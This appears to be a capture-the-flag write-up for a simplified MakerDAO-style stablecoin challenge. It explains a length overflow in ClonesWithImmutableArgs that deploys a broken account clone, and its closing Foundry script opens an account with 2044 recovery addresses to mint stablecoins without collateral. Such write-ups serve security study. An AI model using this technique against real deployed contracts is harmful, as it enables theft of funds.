跳到主要内容

Desription

MakerDAO is such a complex codebase, and we all know that larger codebases are more likely to have bugs. I simplified everything, so there shouldn’t be any bugs here

Code

Account.sol:

  • deposit():
  • withdraw():
  • increaseDebt():
  • decreaseDebt():
  • isHealthy():
  • recoverAccount():

AccountManager.sol

  • onlyValidAccount()
  • migrateAccount()
  • _openAccount()
  • mintStablecoins()
  • burnStablecoins()

Challenge.sol

StableCoin.sol:

  • Just ERC20 Token from system_configuration

SystemConfiguration.sol

Goal

Mint StableCoin more than 1_000_000_000_000 ether;

Solution

If we want to mint we need to call AccountManager.sol::mintStablecoins():

function mintStablecoins(Account account, uint256 amount, string calldata memo)
external
onlyValidAccount(account)
{
account.increaseDebt(msg.sender, amount, memo);

Stablecoin(SYSTEM_CONFIGURATION.getStablecoin()).mint(msg.sender, amount);
}

But we do not have enough collateral to mint, so we need find a way to bypass increaseDebt. AccountManager uses ClonesWithImmutableArgs to create new accounts. When interacting with the Account, the immutable arguments will be read from calldata, saving gas costs. But there's a comment in the ClonesWithImmutableArgs:

/// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length

Since the immutable arguments are stored in the code region of the created proxy contract, the code size will be calculated based on the data length during the deployment. However, the code size that should be returned is also stored in 2 bytes. Therefore, if runSize exceeds 65535 bytes, a broken contract may be deployed. Then we can bypass the increaseDebt

So when we create an account with the recoverAddresses parameter as an array of length 2044, the increaseDebt() function implementation will be skipped, and we can call mintStablecoins() without any restriction.

Exp

  uint256 AttackerPK = 0x12345;
address attacker = vm.addr(AttackerPK);

address challengeAddress = address(challenge);
challenge = Challenge(challengeAddress);
SystemConfiguration systemConfiguration = SystemConfiguration(challenge.SYSTEM_CONFIGURATION());
AccountManager accountManager = AccountManager(systemConfiguration.getAccountManager());

address[] memory recoverAddresses = new address[](2044);
Acct account = accountManager.openAccount(attacker, recoverAddresses);
accountManager.mintStablecoins(account, 1_000_000_000_000 ether + 1, "hack");
console.log("isSolved:", challenge.isSolved());